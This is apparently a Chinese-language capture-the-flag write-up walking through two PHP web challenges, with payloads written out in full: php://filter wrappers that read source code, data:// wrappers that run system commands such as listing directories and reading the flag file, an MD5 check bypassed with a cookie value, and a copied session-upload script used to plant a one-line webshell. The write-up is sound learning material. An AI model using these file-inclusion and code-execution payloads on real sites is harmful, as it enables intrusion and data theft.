不知所措.jpg
打开环境,发现一排平平无奇的字母。
抓包发现仍然是同样的东西,遂及开始萌新的思考。
(此处省略三分….)
这排字符应该是为了给我们提示:告诉我们环境是php,需要提交参数file,而且file里还必须要含有test。看到file,就不得不让人想起文件包含漏洞,看到文件包含漏洞,就不得不让人想起php伪协议,遂构造php伪协议读取源码。
1 | ?file=php://filter/read=convert.base64-encode/resource=test |
发现他会默认添加后缀php,于是我们加个.
1 | ?file=php://filter/read=convert.base64-encode/resource=test. |
出现一小串字符进行解码
…………….
说明我最先认为flag是在一个叫做test的php文件下,是错误的。遂我们想要找到网站的源码,于是,想办法构造伪协议去看Index.php的源码!
然后我们继续找一下,发现
1 | ?file=php://filter/read=convert.base64-encode/resource=test/../index. |
可以读取到网站index.php的源码
发现源码中除了要求有test以外,并没有对file有什么过滤。更加确定了文件包含漏洞。于是想到用data://伪协议来进行命令执行。
1 | ?file=data:text/plain,<?php system('ls');?>test |
后面的test是为了满足正则匹配式,发现查出两个应该没什么用的文件。
然后我们想到应该去网站根目录查找,于是键入命令
1 | ?file=data:text/plain,<?php system('ls /');?>test |
发现根目录下有以下文件:
发现这个奇形怪状的名字,选择查看,可以得到flag
1 | payload=?file=data:text/plain,<?php system('cat /FFFFFFFL@GGGG')?>TEST |
easyshell
打开环境查看源码,发现有提示信息:
1 | <!--md5($secret.$name)===$pass --> |
除此之外一脸懵逼。
老办法,遇事不决,抓包先行:
发现每次提交请求都会带有一个关于Hash值得cookie,结合题目,hash值就是经过md5转码得,所以尝试把这个hash值带入pass参数。而name一般我们都会默认为管理员,于是提交如下包
发现了一个叫做flflflflag.php的文件。
然后再用bp去访问这个文件,发现如果你用浏览器访问的话,会把你跳转到一个伪造的404页面,但是用bp可以看到网页的源码为
又见到了include()于是又想到php伪协议读取源码。
1 | ?file=php://filter/read=convert.base64-encode/resource=flflflflag.php |
1 | <html> |
发现正则表达式中屏蔽了很多关键词data input zip。
到这里我也不晓得怎么做了,但是看到网上师傅选择用session上传去做,就查阅了相关文档,get了新知识
然后脚本抄的网上师傅的
1 | import io |
之后写入了一句话木马,通过antsword想连接,发现打开一片空白。看来是做了某一种措施,无法读取到文件。
于是就只有在浏览器来看。通过浏览器cmd命令键入phpinfo();查看信息
在environment下看到FLAG